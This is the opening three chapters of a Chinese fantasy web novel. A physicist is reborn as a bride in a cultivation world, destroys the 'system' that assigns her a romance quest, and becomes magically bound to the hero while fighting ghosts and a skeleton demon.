《绑个龙傲天当跟班》
1. 文明的末日
蓝光闪烁,屏幕上的数字像海洋般流动,一段100%的进度条浮现在涌动的数字上。
楚江蓠终于完成了研究项目的最后一步,揉着额角长叹了口气。
这是一项足以改变世界的研究成果,身旁几人激动地站起来:“楚教授!物理拟合非常完美,计算成功了!”
“楚教授——!!”
她抬头,眼前倏忽一黑。
沉,头好沉……
什么东西压着脑袋?
肩膀也好痛……
楚江蓠费力睁开眼皮,视野里一片暗红,像试管里浓厚的血液。
这是哪里?阴间?
楚江蓠猛地拽开眼前红雾。
红雾扯出一串叮叮当当的声音,几乎把她发根都扯下来。
眼前泻落一片清明天光,她眯了眯眼,看清自己正坐在一面铜镜前。
镜子里的她一身火红嫁衣,云髻如烟似雾,点缀着满头金翠,光芒灼眼。
镜中的脸庞美丽,但却陌生。
她倒吸一口气,摸了摸自己的脸,触感柔软真实……
脑海里突然炸响雌雄莫辨的电子音:【恭喜宿主苏醒!】
楚江蓠浑身过电般一颤。
她环视四周,地上摆着许多玄色的箱子,墙壁与屋顶的构造遵循中式传统,不存在回声壁的可能。
这意味着这声音确实是在她脑海里说话?
她望向镜子里陌生的自己,微微拧眉。
这没法解释啊……
她询问系统:“这是哪里?你是什么东西?”
电子音更激动了几分:【宿主,检测到您已猝死。经本系统研究决定,为您开放特殊复活通道。请您尽快完成任务,祝您生活游戏愉快!】
“复活通道?”楚江蓠停顿了几秒,倚进椅子里,“可以,任务给我看看。”
眼前浮起一行行文字,一股男频古早龙傲天的yy味扑面而来。
系统:【您放心,本次任务只需攻略狂拽霸气牛炸天的正义化身男主,霜天晓!】
正义化身?不。
是左拥右抱、天下皆后宫的霜天晓。
楚江蓠冷下脸,忍着恶心,关掉了剧情。
她多年单身,尤其对这种男人过敏。
因为曾经的研究成果被师弟加“恩师”联手窃走,自己又被贴上“妲己”的污名,她对那些借着女人上位的男人实在是不齿。
这些年来,她拒绝了一切感情关系,只想献身科研,夺回自己的东西。
让她搞点科研可以,让她攻略男人不行。
她捏了捏眉心:“换个别的任务。”
系统解释:【抱歉,本次开启的是超简单模式,不可更换。】
【剧情读取中:您正处于修仙世界,是天生无灵根的废材。于今日嫁给无妄海世子,半月后救下海边的男主,同他一夜定情。给他提供所有修炼资源,爱他呵护他,最后死在反派手里,助他爆发升级问鼎修仙界,您就可以回家啦!】
一派无语间,楚江蓠收起冷脸,眼眸含笑,盯着镜子点头道:“来,你先出来让我看看。”
她眼前忽然冒出一个银白色的金属小球。
小球眨着独眼,分外无辜道:【宿主,您身无灵根又长得漂亮,在修仙界必然寸步难行!之后的剧情请一定要听我的!】
楚江蓠仔细打量这系统小球。
不知是用什么技术切割焊接的,表面竟没有一丝拼接痕迹。
纳米材料吗?
她轻轻摸了摸小球,触感冰凉光滑。
她凑近了问:“确定你能打开通道,送我回家?”
系统认真眨眼:【那肯定!只要进度百分百,我就可以打开——】
“啪叽!”一声,系统被楚江蓠丢脚下,踩成了碎渣。
她俯身,翻捡着地上四分五裂的金属元件,淡淡地自言自语:“你好像忘了我是谁,不管你这通道是利用卡西米尔效应还是量子隧穿,只要你有,我就能自己造。”
她从碎壳中翻出来一个白色金属核心,顶端十个灰暗的彩色小点,像是某种灭掉的彩色灯泡。
看来这就是系统智能的核心了。
是没见过的材质,不知道导电性如何。
她捏紧核心,准备尽快逃走,找个安全的地方,研究这奇异的系统,想办法回家。
门外忽然响起嘹亮的一声:“吉时到!”
她立马将核心塞进衣袖绑带,把系统多余的碎片踢进桌底。
“吱呀——”木门推开。
一连串轻盈的脚步声中,走进来一位身形修长的男子。
男子身后跟着四位侍女,她们端着绫罗绸缎,金银翠宝。
一位侍女叫起来:“天呐!小姐,您这盖头——”
“噤声!”男子冷声发令。
那侍女张着口,后半截的声音断掉,像是进入了默片模式,世界瞬间安静。
房间里似乎有种寂静的波纹荡开,酥酥麻麻地漫过头皮。
楚江蓠奇异地抬手感知这份波纹般的酥麻。
好神奇的能量……
竟能阻断声波,让世界安静下来。
侍女立马闭上嘴,在男子的示意下,关上门。
男子走到楚江蓠身边,捻起桌上红色的枣糕喂给她:“阿蓠就是想逃婚,也得吃饱了才有力气。”
她没动,狐疑地打量男子。
男子浅笑:“那世子是个瘸子……阿蓠不想嫁不是吗?别怕,哥哥帮你逃婚。”
原来是原主哥哥……
不过是继兄,不是亲哥。
她避开继兄的眼神,捻起枣糕塞进嘴里,很甜很软,入口即化。
她连吃了好几块糕点,唇角沾着碎屑,晕开了唇妆,空荡的肚子有了一些饱腹感,人也恢复了不少能量,有足够的体力逃婚。
继兄笑着给她戴上一枚蓝色戒指:“等储物戒响起哨音,就下轿骑马,一路往东逃。”
楚江蓠摸了摸戒指,脑海浮现衣物财帛等各种用品。
这是装满了各类生活用品的储物戒指,只要她心念一动,就可以随时从戒指里取出需要的东西。
她试探问:“哥?你对我这么好?”
继兄露出一抹颇为无奈的笑,叹息:“怪我无用,暂不能反抗父亲,委屈阿蓠先躲一段时间了,哥哥会接你回家。”
一旁的侍女跟上来,挥出一道灵光。
镜子里的她瞬间重新上好唇妆。
她盯着镜子里妆容整洁的自己,感觉脑袋有些晕。
没人碰她,侍女就那么一挥手,一切就都整理好了。
这完全不符合守恒定律。
修仙真的存在?
食指扣着额头,她不信这些玄门的东西。
只是还没找到一个合理的解释而已。
盖头一盖,侍女把她塞进马车花轿。
马蹄哒哒,一路颠簸向远处驶去,溅起烟雾般的浮尘。
楚江蓠扒开轿帘,浮尘中,红色的送嫁队伍静静驶于未知的长路,冰冷的太阳挂在天空,照得前方模糊不清。
车队旁只有几个送嫁的人,像是拖曳出的血水,滴滴答答。
她一个被父母视若珍宝的女儿,在现代校园中成长的人。
前一刻还在整洁的实验室里指挥,这一刻难道要被送上一个陌生男人的床吗?
她能忍受在无数双眼睛下,戴着血色盖头,等待着被无名的丈夫剥得光秃,溺死在被褥的红浪中,再等待着为原男主献上新的血肉?
她不可能同他们玩什么恋爱攻略游戏,她要赶快回家,夺回被偷走的一切。
她不是无父无母的孤儿,即使颠沛流离至死,她也要回到家人身边去。
她盯着拉车的枣红色骏马,盘算着如何跳车逃跑。
下一秒,这群人跳上飞剑,引动一束红色光华,笼罩了这片小区域。
她还没看清那些炫目光彩,眼前的光影就如电闪般流动。
几乎是瞬间,双眼重新聚焦,她看见了一片浩瀚的海洋,落日为水与天共同洒下壮烈的赤红。
楚江蓠不可置信地仰望着火烧般的晚霞,如要焚尽世间的一切。
上一刻还是清晨,现在竟是日暮。
这移动速度……超光速了啊,却没见到钟慢效应和多普勒红移。
这意味着她之前建立在规范场基础上的理论成果……彻底死掉了。
心头涌起哽咽的悲伤,她同“恩师”争斗五年,直逼着她奋斗到猝死的成果,似乎在这个世界成了一捧飞沙……
这场火烧黄昏,是旧文明的末日,是死神唇畔的花。
难道物理学真的不存在了吗?
不,不会的。以实验为检验标准的学科,它只会推倒重建,不会死去。
无论这个世界多么诡异,她都要搞明白那些仙术的原理。
她为此而生,为此而来。
手上戒指突然炸响起一阵哨音,她心脏猛地一缩。
戒指里传出继兄的声音:“跳车!”
楚江蓠立马收拢情绪,弹射般跳下车。
车前的红马无声啃着草叶,四周寂静如死。
送嫁的人脸色青白交加,大睁着漆黑的眼,在灵剑上一动不动。
像是僵硬的傀儡,飘忽的鬼影在他们周边时进时出。
鬼魂?
太邪异了,她窜起一片鸡皮疙瘩。
她在心头迅速默念着富强民主文明……
边念叨着平缓心情,边扯开马车绳结。
骏马恢复自由,楚江蓠抬腿踏上马镫。
马镫一晃。
“咚!”她摔了个跟头,额头磕得青肿,珠钗叮当洒了一地。
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晃了晃头,她猛力拽过缰绳,“呼”地再踩马镫。
“呼呼呼!”
鬼影似乎钻腻了送嫁的人,舒张着飘忽的影子,向四面八方飘去。
马嘶鸣一声,抬起前腿,将她掀下来,磕了她的腰,又差点踩在她身上。
幸好她强忍下骨折般的痛,翻了个身。
马蹄只溅起了青绿的草汁,辛辣的草叶香呛进了她的鼻子。
她在马蹄踏落中翻滚,身下泥土纷飞。手背擦破,血染进了她的衣袖。
骑马太不方便,要是有辆车就好了。
她翻起身,拽紧缰绳控马。
她身后鬼影散了干净,那群送嫁的人活动起手脚,望向她。
一道剑光飞来,她迅速闪避,缰绳应声而断。
急切中,她脑海不自觉想起自行车的构造,袖间黄色微光一闪,马车应声崩解。
一辆简易的自行车忽然倒在她面前,隐约能看出马车和缰绳的影子,像极了像素玩具。
她看着简易自行车,眯了眯眼,惊异地望向四周。
那些黑色的鬼影已散尽,送嫁的人完全醒了过来,纷纷向她而来。
她匆忙摸向藏在衣袖的核心,瞬间明白了这自行车多半是核心的功劳。
身后传来呼号:“小姐逃——婚——了!快追!!”
“嗖嗖嗖——”数把灵剑飞射追来。
剑风压顶,她猛地抹开沉重的发髻,骑上抽象的自行车,逃向日落的反向。
嫁衣张扬,长发在身后甩动,她如沐浴艳红的烈火间,疯了般蹬着自行车。
满头金翠珠钗坠落,是她飞向自由的旷野时,拍落的火星。
人类文明永不熄灭……
唯物主义无所畏惧!
无限潜力爆发,胸肺疯狂张合,她几乎能尝到喉头涌出的血腥味,竟真能将天上的追兵甩在身后。
追兵如催命符般紧追不舍,她蹬得愈发快速,突破了身体的极限。
戒指里一阵哨音,传出继兄焦急的询问:“阿蓠,还好吗?别慌,继续往东,很快就安全了。”
“好哦——”她话音还没落,碍事的嫁衣就挂上了车轮,刮出了一道直达大腿的巨大裂口。
自行车颠簸着散了架,她摔倒在地。
身下闪起一道绿光,四周就忽然暗了下来,草叶疯长,蛇鸣嘶嘶。
继兄的声音突然消失了。
头顶御剑的人也失踪了。
尖细的风声中,传来叮叮当当的金属声响。
她勉强爬起来,一身嫁衣已经被钩扯得破破烂烂,她干脆撕掉一大片碍事的裙摆。
红布飞扬而落,露出阴暗蔓草。
草叶疯长着,层层遮蔽了天空,四周昏暗不明。
她仰头,发现一切能辨别方向的事物都被蔓草淹没。而无论走向哪个方向,最终都会回到这里,鬼打墙一般。
阴冷的风吹过,她嗅到浓郁的腥气,捡起木棍防身,她向草叶深处寻路。
无数暗淡的绿光深藏,伴随着草叶沙沙的爬行声响,一条条蜿蜒长蛇钻了出来。
她仓促地后退,耳边金属叮咚声愈发激烈,像是有人在打架。
遇上人总比被蛇吞了好,即使没有人,有金属也就有了可以防身的用具。
楚江蓠忙转身向声响传来的地带跑去,拨开草叶,她眼前突然寒光一闪,生生刹停了脚步。
一个男人跌撞在她脚下,黑色衣摆翻起,露出一抹朱红。
他长发高束,发尾弯了个角。因为摔倒在地,马尾正在大幅度甩动,甩过她的手背,像是被一条毛绒绒的狗尾巴甩过,风沙吹过般的痒。
男人翻身而起,她下意识捂嘴后退了两步。
“嗖——”一道银色光刃从她脸边擦过,恰好劈伤了男人抬起的手臂。
鲜血溅起,模糊了她的视线,浸入她衣袖。
灼热,粘腻,疼痛……
袖子里的系统核心忽然滚烫似火,灼烧着她的手,痛得她连忙拍打核心。
手掌拍上袖间核心,核心闪起一道光芒,接着如水般融进她皮肤里,在手腕浮现一圈浅色印记。
她翻开衣袖,看见印记牵着一道光链,直连到男人手腕间。
无数阵法知识随着光链涌入她脑海,脑袋瞬间炸裂般得痛。
她抱着头,咬唇强忍疼痛。光链忽地一缩,男人扑倒在她身上,一片片光刃从他们身上飞过。
她从男人飘动的发尾间看见,光刃中心站着一个冷面英气的女人。
脸颊长满青色鳞片的,拖着蛇尾游曳的女人。
楚江蓠瞳孔骤缩,她挣扎着,推向压着自己的男人。
两人手背却像是黏在了一起似的,怎么都推不开。
男人眼尾和耳朵都红透了,颤抖地叫着:“你你你!放开我!你在干什么?!”
2. 离谱的契约
楚江蓠和男人共同奋力掰扯相连的手,却始终掰不开。
远处的女蛇妖挥起大刀,凌厉刀风劈落,草叶纷飞。
男人急忙并指掐诀,低念了一声:“万法,破!”
两人身下闪过一道青绿色光芒。
楚江蓠只见青绿光芒破碎,刀风在眼前劈了个空。
四周场景瞬间变成宽阔的官道。远处城池高耸,守卫金甲粼粼,飘来炊烟与喧闹声。
这场景忽然变换和送嫁时遇到的一样,是一种超光速传送的阵法。
所以她这是逃出来了?
楚江蓠舒了口气,至少逃婚的目的已经达成了。她试着爬起身,却被男人压着。
男人滚烫的体温灼烧着她的胸口,呼吸间满是淡淡的甜梨与草木的香气。
她推不动男人,只得偏开头,抬腿踢了一脚。
男人闷哼一声,抱着受伤的手臂迅速爬起,鲜血淋漓落在她嫁衣上。
男人耳朵红透了,眼神中满是不知所措。视线无意识地擦过她破烂的嫁衣,嫁衣的裙摆裂口露出了一大片雪白皮肤。
他慌张地别开头,脱下自己的黑色外衫丢上她裙摆:“那个……先放我走呗?蛇妖马上就会追上来。”
脑袋里侵入的大量阵法知识还没能消化,楚江蓠揉着疼痛的头,晃了晃右手,带动男人也跟着晃。
她相当疲惫道:“你也放我先走呗?追我的人马上就到。”
两人对视一眼,才知晓原来他们都拿这双手相黏的情况没辙。
最终得出一个结论:他们莫名其妙绑了个不知名契约,成连体婴了。
既然如此,追兵在即,还赖着解什么契约?跑啊!
……
夕辉满城楼,风中酒旗招展。
旗下人影来来往往,近看却又多长了尾巴犄角,个个都是些妖异物种。
妖域边境的瞿水城酒楼门口,小二挥着赤色薄透的翅翼,从低空飞过。
他揉了揉眼,看见浑圆浓烈的夕阳中,走出两道牵着手的人。
女人裹着漆黑的男式外衫,走动间露出破烂脏污的嫁衣。男人只穿了中衣,腰间皮带晃动。
看起来像是一对私奔的缱绻情人,正紧紧牵着手。
男人哀叹着:“走了一路了,求你了,我一生光明磊落勤勤恳恳努力奋斗,连只蚂蚁都不舍得踩,放过我吧!”
“少废话!”楚江蓠冷声拽了下男人,拽得他踉跄了两步,肚子却发出了一连串咕叽声。
沉默席卷了两人,街上的喧嚣更显吵闹。
男人瞪着她,随后爆发了巨大的笑声:“你饿了啊?你不辟谷的吗?”
笑声忽停,男人像是想起什么,急道:“你不会辟谷?你从来没修炼过吗?那怎么解契啊!我堂堂天才阵修!算是毁你手里了啊!”
在这修仙世界,修士炼气学的第一个技能,就是辟谷术。
楚江蓠知道这具身体没灵根,一直没法修炼,连辟谷术都学不会,才会被亲爹当成废物,送到无妄海联姻。
她烦躁地掐着眉心,掐出一片青紫。
男人见她不出声,拽着她往酒楼走:“不行,你必须给我把这契约解了,今天就帮你筑基!”
楚江蓠往后拖拽:“你搞清楚点状况,我没灵根。”
男人踉跄了一步,声线颤抖:“你……没灵根?”
他直接举起两人交缠的手,义正辞严:“切你的手还是我的?”
喉头却泄露了一丝颤音。
楚江蓠缩了下手。
手却被契约黏住,一动不动。
她怒斥:“滚蛋!”
话音落下,两人手腕处随即泛起淡黄微光,男人当街团成了球,围着她滚来滚去。
她吃惊地连退了两步,看着男人翻滚的样子,试探着再次下令:“坐下!”
男人“啪”地一声,稳稳地蹲坐在地上。
她眯眼笑起来,觉得这契约有点意思。
又对着男人下了几条奇怪口令,对方依旧完成得十分标准,像极了训犬师在训犬。
她确认了这个契约效用——被绑定的男人无法违逆她的命令。
男人怒瞪着她,面容扭曲,挺翘的鼻尖沾了一点灰,眼尾细窄的内双低垂,眼眶发红。
像极了委屈巴巴的小狗。
楚江蓠伸出手指,好心地替他擦掉了鼻尖那点灰尘。
白得了一只听话又修为不低的小狗,即使两人的手被迫捆在一起,她也能预测到接下来的旅程容易了许多。
心情大好,她吹掉指尖的灰,对男人道:“走吧,去吃饭。”
男人立刻站起来执行命令,却咬着牙,一步一步走得异常沉重,仿佛下一秒就会崩溃大哭。
楚江蓠含笑问:“对了,你叫什么?我们接下来可能会相处一段时间。”
男人哼了一声,扭头:“霜……”
他脑海响起一阵低沉的提示:【检测到对方恶意值即将提高,死亡概率大幅增加,不能暴露真名:霜天晓。】
霜天晓瞪向周围嘲笑他的妖兽,咬紧牙关,艰难改口:“臣年。”
“什么?!”楚江蓠猛地扭头盯着他,心头狂跳。
这名字……
和她记忆里的某位白月光相同。
但眼前这家伙和那人根本就是天壤之别。
霜天晓被她盯得心头发毛,尴尬地摸了摸鼻头的汗:“怎么啦!‘臣年虽老,臣卿尚少’不就是名字冷僻了点!有什么奇怪的!”
是冷僻了点,但重名的概率仍有。
她摇摇头,略带自嘲地朝着眼前的酒楼进发。
挥着赤色薄翼的小二飞出来,笑意盈盈地迎接他们。
身后薄翼通透如纱,尾端还闪着红光……
楚江蓠愣在原地,紧紧盯着小二扑闪的薄翼。
这薄翼完全违背空气动力学规律,还能带动一整个小二在半空飞。
她对着小二脱口而出:“呔!妖怪!你是什么怪!”
小二刹停在她面前,当空转了一圈退后,眼中有着些许疑惑,却还是愣愣地回答:“萤火虫啊——”
声如洪钟,传出数里,连酒旗都随之共振,一只犀牛冲出朱红色的酒楼大门,直直向楚江蓠冲来。
犀牛撞翻了小二,才停下来问:“两位打尖还是住店啊?出示一下通天阁的证明”
小二挥着薄翼,在半空不断翻滚。
楚江蓠瞪着犀牛,咽了下口水,望向霜天晓:“哈?会说话的犀牛?”
霜天晓摸了摸腰上挂的储物袋,又收回手,理直气壮对犀牛说:“我没带。”
他冷眼瞟了下楚江蓠,冷哼一声:“低阶犀牛精而已,没见识。”
犀牛晃着硕大的脑袋,吼道:“我快结丹了!我很高级!你们这群没眼力的脏鬼笨蛋!滚外面喝酒去!”
话说完,它还扬起头,用拳头大的鼻孔瞪了他们三秒。
楚江蓠和犀牛的大鼻孔互瞪了会儿,眉头越簇越紧。
犀牛鼻孔漆黑,她似乎在漆黑中看见了自己的倒影。
犀牛在她眼中愈发清晰,清晰到她再无法把这当成荒唐的梦境。
眼前和她互瞪的敌人,真的是一只又肥又厚,鼻子长犄角的大犀牛啊……
最终没绷住,她笑出声来。
她那崩坏的世界观在废土中重建了。
修仙就修仙吧,犀牛会说话就说话吧,旧日物理学不存在了就不存在了吧。
摆在眼前的是一片无人踏足过的科研蓝海,她极有机会成为楚·牛顿·江·爱因斯坦·蓠。
小二终于停下翻滚,挥着薄翼赶过来,发出震天动地的声音:“二位!呕……”
楚江蓠一见他张口,就提前捂住耳朵,才没被震得七窍流血。
她现在已深得修仙界处世诀窍,反应比霜天晓还快。
小二大约是翻多了跟头,头晕,闪一边去干呕。
楚江蓠摇了摇头,没再管这荒诞离奇的世界,直接迈向酒楼大门。
店内格局用一顶顶曲柜进行隔断,从外往里,装修依次富丽不说,最金碧辉煌的地方延伸到楼上。
她迈过酒楼门槛,犀牛猛地顶上她的腿,把她推出去,
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呼呼叫着:“去去去!”
楚江蓠被顶得连连后退。
小二推了推犀牛,笑着同她解释:“抱歉啊,我们店里按修为分级吃饭,你们没带通天阁的修士身份证,暂时不能进去。”
声音还是那么洪亮,楚江蓠捂着耳朵,奇异问道:“你们修界吃饭还分级?”
犀牛扬头叫道:“这是当然!士农工商,三六九等,强大的修士自然高贵,要享受最好的美食!你们!站外面!”
小二扭头:“坐外面行不行啊?看起来也是修士啊。”
犀牛高声拒绝。
小二挥着薄翼,上下翻飞:“兕姐,你看这小姑娘多脏,多可怜,行行好,让她坐下吧。”
犀牛:“想什么呢!你不想干啦?她一身泥,一看就是穷鬼泥巴种,让她坐下吃饭,那个区域谁还会来?”
小二从怀里掏出热毛巾,递给他们擦脸擦手,念叨着:“洗干净不就好了嘛!”
楚江蓠擦了把脸,热气从毛孔蒸腾而入,感觉整个人都清爽了。
她顺口问道:“小二哥,你这里能住店吗?”
她打算在这里歇个脚,好好洗漱一下,接着研究系统核心。
虽然这犀牛说话难听,但活了这么些年,她还不至于把一只犀牛的话放在心上。毕竟对方看起来确实不大聪明的样子。
小二低声说:“能是能……但很贵,两颗下品灵石一晚。”
楚江蓠摸了摸戒指,发现里面存储的灵石量足够她在这里住十年……
她笑了下,摸出两颗灵石给小二:“给我开一间。”
小二瞪着灵石,用牙磕了下。
犀牛皮皱的脸上露出惊异的表情,再开口声音都变柔和了,分外积极地同她介绍着店里的特色。
小二避着犀牛藏起灵石,无视犀牛疯狂眨巴的眼神,领楚江蓠去房间里换衣服。
推开房门,小二一脸莫名地打量楚江蓠两人:“你们感情这么好?换衣服都要牵手。”
她和霜天晓对视了一眼,又瞬间扭开了头。
太近了,她能看见他纤长的睫毛,像片黑羽似的眨动。
关上门,霜天晓拽着她,耳朵烧得通红:“不是……你?真要换?”
楚江蓠:“闭眼!”
霜天晓“唰”地紧紧闭上眼,眼皮黏在一起,扒都扒不开。
她从戒指里掏出简单衣裙,展开。
这衣裙一层又一层,她右手被黏住,怎么穿啊?
念头一动,衣服倏忽一闪,她就换上了一身明黄的衣裙。
原来修仙界的衣服是这么穿的,只要心想,就能事成。
楚江蓠低头扯了扯黄色裙摆,研究起衣服来。
裙摆上绣了繁复的符文,水波似的摇曳。她摸了摸刺绣,有种莫名的熟悉感。
她想起来了……
这是和身旁男的结契时,涌进脑子里的那些阵法知识之一!
她心头突兀跳动,立刻闭眼回忆那些知识。
各种繁杂的图文和原理如洪流般在脑海中澎湃。
她恍然明悟。原来,这个世界的规则非常清晰,只是不再遵循她过去的物理习惯。
知识的海洋涌动,巨浪逐渐平息,最终凝成了一颗白色泛黄的核心。
她看见脑海中那颗核心静静旋转,上面十个彩色的暗点已经点亮了一个,呈现出淡淡的黄色。
十个彩色暗点?
这是从踩碎的系统里扒出来的那个核心?
可为什么十个暗点中,亮了一个?难道因为她和这男的结契了?
她知道了。
黏手的鬼契约是这颗核心搞出来的。
之前看系统剧情的时候,她看到过,这里的修仙界有十种职业,难怪核心有十个小彩灯。
对了,这男的还说过自己是阵修,是十个职业之一。
而她获得的全是阵法知识……
这样看来,岂不是等她集齐十个职业,点亮所有彩灯的时候,就可以拥有所有的修仙知识,打开回家通道了!
楚江蓠猛地睁开眼,回家有希望了!
3. 惨白的骷髅
在找到回家机会的兴奋中,楚江蓠检查了一下身体,确认核心已完全融在她脑海里。
她只要闭上眼,就可以看见核心顶端闪烁着一粒淡黄色光点,正缓慢吐出一线浅黄雾气。
当她将阵法知识排列组合时,核心就会像心脏般叮咚舒张,像是在孕育什么。
那辆自行车,大概就是这样孕育出的。
丢进知识,孕育实体?
她试探着往核心里丢了些知识,却没有什么反应。
她睁开眼,决定先填饱肚子再慢慢研究。
走下楼,大堂里飞舞的小二立马过来给她引路。
她远远看见楼下金光炫目,一身明艳的舞姬正在中心高台上旋转翻飞。
高台四周围满了妖怪,一只狼妖抖动着灰色的尖耳,踩上酒桌,对壶饮酒,仰天长嚎,有些酒醉发疯的意味。
楚江蓠不禁询问:“小二哥,你们大堂里这么热闹,我们坐哪儿吃?”
小二没出声,指向酒楼门外。
门外,捆满了锁链的漆黑妖兽,佝偻着腰背,拖拽着一辆铁车路过,溅起飞尘。
烟尘飞舞的阴暗角落,一扇原木屏风,一棵桃树,四五张泛油的桌凳就组成了酒楼的户外摊点。
霜天晓抱臂冷嘲道:“你们食物还真分等级啊?不是修士就只能坐外面?”
小二点头,指了指嘴上的黑色口罩,口罩像个辔头一般,扣住了他的下半张脸,让他没法说话。
霜天晓挑眉:“呦,这不是噤声符吗,还能做成辔头?哪家炼器师炼的?有点水准哈。”
楚江蓠心头一动,凝神聆听。
炼器师也是十大职业之一,她想回家,需要绑齐十个职业。
小二指了指北边,双手搭了个钟型示意完后,继续带他们往外走。
霜天晓似笑非笑道:“咦?居然不是无妄海的法器。”
楚江蓠望向霜天晓,眼中带着探究。
无妄海是原主要嫁过去的地方,是炼器师之都。
霜天晓弯眸一笑,主动问她:“你想知道除了无妄海,还有哪里有炼器师?”
楚江蓠点头。
霜天晓忽然头一歪,笑得更灿烂:“不告诉你!”
“……”她一时无语,眼前却有漫天花雨飘落。
纷纷扬扬的花瓣淹没了她的视线,她没再理他,而是踮脚扒上栏杆,探头望去。
大堂里,舞姬飞旋散花,披帛飘扬。
妖怪们挥着双手,抓向舞姬的浅草绿披帛。手淹没了手,披帛在混乱中迭起翻飞。
她也想在大堂内边吃饭边欣赏表演,便直接推出霜天晓,对小二说:“他也是修士,而且……什么等级?”
霜天晓顿了顿,开口:“金丹期巅峰。”
楚江蓠指着大堂里的食物说:“金丹期可以在大堂吃了吧?”
小二为难地点头比划。
对面一扇鎏金窗打开,一具白骨骷髅倚着窗,上下颌骨咧开,露出黑黢黢的笑。
骷髅泼下酒杯,酒水尽数倒在舞姬身上。再一勾手,披帛落进它手中,尾端柔软地缠上舞姬的脖颈。
变故陡生。
披帛忽然变得极为坚韧,将舞姬吊上了半空。
舞姬脸色青黑,吐出鲜红的舌,发出沉重的“荷荷”声,疯狂踢蹬着双腿。
初见这种公开杀人的现场,楚江蓠还有些懵。
只见犀牛精冲上台,对着骷髅磕头:“韩大人,求您放了她吧。”
骷髅的黑色笑意咧得更大:“这孩子很有趣,让她修成白骨傀儡陪我。”
眼见舞姬即将被骷髅生生勒死,鲜活的生命脆弱流逝,楚江蓠感受到一种强烈的窒息感。
她急忙拽紧霜天晓:“你能不能救救她。”
霜天晓单手结印,冷声说:“你抓紧我。”
她下意识抓紧霜天晓的肩,脚步一晃,两人瞬间闪至舞姬身旁。
光影一闪,披帛断裂,舞姬落地。
“哦?更有趣的人修?”
突然闯入场内的两人引起了骷髅更深的兴趣。
它打量着两人,咧出笑意:“变成鬼来陪我也行。”
无数漆黑鬼影钻出窗,形状扭曲邪异。
这是楚江蓠第二次看见鬼影。
不再像先前那般慌乱,她已勉强消化掉这个世界有鬼的事实,开始快速思考,寻找逃脱的方法。
她无灵力,唯一能利用的就是脑海核心。
也就是核心所拥有的孕育实体的能力,和当初结契时获得的阵法知识。
阵法知识?
身旁的霜天晓正在单指飞速结印,她下意识看了眼,他的手印灵巧、繁复,几乎飞舞成了虚影。
但依旧能通过新得的阵法知识辨认出,是专破邪异的九天阳雷阵。
只是这个阵法复杂,他只有单手能动,绝对没法短时间内结完。
时间紧迫,她直接抬起手,生疏地跟着他补足法印。
霜天晓目光略微飘向她,没出声。
她手指结印不停,动作越发熟练,见他瞟这一眼,立刻低声提醒:“专心。”
终于结印完成,她指尖一点,接上霜天晓的指节,共同作出莲花的形状,手指相接处忽有金光闪过。
霜天晓低声开口:“九天阳雷,开阵!”
阴风横穿大堂,呼啸尖锐。
本该在脚下显现的法阵却无影无踪,迎来骷髅的冷冷嘲笑声。
结阵失败了。
伴着骷髅阴恻恻的笑声,她心头一抖,眼前忽地一暗。
是漆黑的鬼影缥缥缈缈,蒙住了她的眼。
阴冷的风猛然钻进她身体,脑袋开始嗡鸣,浑身血液都随之沸腾了,无数可怖的情绪如洪水般涌进心头。
心脏快要被情绪的洪流冲塌,她痛得抓紧心口,仿佛下一秒就会心悸死去。
泪水溢出眼角,额心却传来一点清凉。
一只修长的手点上她额心,她听见霜天晓清越的声音,似是泠泠水波:“智慧明净,驱邪!”
话音落下,一道鬼影从她身体里摔出,散成了一缕黑烟。大脑瞬间清明,她终于能冷静地审视着一切。
她没有灵根,即使会结印,也没灵力展开阵法。
所以不能寄希望于此。
敌人是鬼?
会怕桃木剑吗?
脑海中叮咚一声清响,灵光一闪,核心中间射出淡黄色的光芒。
那道光芒透亮,从她脑海中浮出,眼前的鬼影便被这光芒照亮。
光芒中间飘着一柄桃木剑,剑柄黄光闪烁,留下了九天阳雷阵的复杂符文。
果然如此,只要她想起有关桃木剑的知识,它就能被实体化。
桃木剑浮在眼前,她立刻抓起,挥向扑来的鬼影,像是劈上了一片空洞的棉花,居然顺畅地将鬼影竖着劈成两半。
劈开的裂缝间爆开一片黑烟,扬扬洒落。
四周的鬼影见状,不再四散攻击,而是一同聚集扑向她一人。
重重叠叠的鬼影似乎没有尽头,她疯了般劈砍不停,大臂开始发酸,身上沾满了鬼影劈碎后的黑烟。
那些冰冷的黑烟沿手臂流下,流进了桃木剑柄处的符文。
符文发出淡淡的微光,烘得她掌心也逐渐温热,似乎有无穷的力量带着她往前劈砍,劈出纷纷扬扬,如黑雪压殿的烟尘。
烟尘中,她听见一声“当”然脆响,抬眸望去,透过昏暗的烟尘,隐约看见雪白的骷髅跳落在地,向他们走来。
大堂里所有的妖怪都跪伏而下,瑟瑟发抖。
骷髅嗤笑一声,眼眶里幽绿的火焰旋转,地板破碎,数根漆黑的触手钻出,穿过地上的妖怪。
妖怪们哀嚎着,血肉飞溅。
那些触手吸食了血肉,变得更加壮大,直直射来。
她抬臂举剑欲挡,脚下却荡开一圈金色阵法,阵法射出道道电闪流光,组成了一圈璀璨屏障。
漫天触手“砰”一声,撞上屏障,屏障上光纹震颤。
身旁的霜天晓沉气,并指稳住阵法。
这是他耗力多时,终于结成的九天阳雷阵。
在洪钟般的触手撞击声中,楚江蓠略松了口气,继续劈向四周的鬼影。
直到所有鬼影被劈散,她拄着剑,不断喘息。剑下黑烟凝聚出了一片漆黑闪亮的薄薄石片。
她瞥了眼石片,意识到这可能是鬼影灵力的结晶,刚刚给她的桃木剑提供力量的东西。
她悄悄捡起石片,紧紧盯着骷髅的下一步动作,身前的屏障流光露出裂纹,显然已快抵挡不住。
她低声对犀牛精说:“先带她走。”
身后的犀牛精立刻抱起舞姬,逃窜向后台。
犀牛精这一逃,那骷髅却并无什么反应,黑黢黢的眼洞盯着持阵的霜天晓,它阴冷笑道:“金丹期?你差一步结元婴了吧?有点意思。”
说完,它打了个响指,满地触手再度腾起,一同抽来。
“咚——”一声,触手撞碎了璀璨的金阵,将两人一同甩飞落地。
撞地的疼痛袭来,楚江蓠感觉脏腑都扭曲在了一起,艰难地抬起头。
只见眼前的触手如一条黑蛇,扭曲盘旋着,似乎随时能穿透她的身体,吸食她的血肉。
身旁的霜天晓喘息着,一手同她绑定,无法动弹,只能单指颤抖着,结出一道道闪电劈向触手。
触手张牙舞爪地同闪电打成一团。
她也趁机一剑劈上,虎口却一震,如同劈上了坚硬的铁棍,传来撕裂般的疼痛,连桃木剑都差点脱手而去。
右手麻痹中,只见眼前被阴影覆盖,硕大的触手冲她飞掠而来。
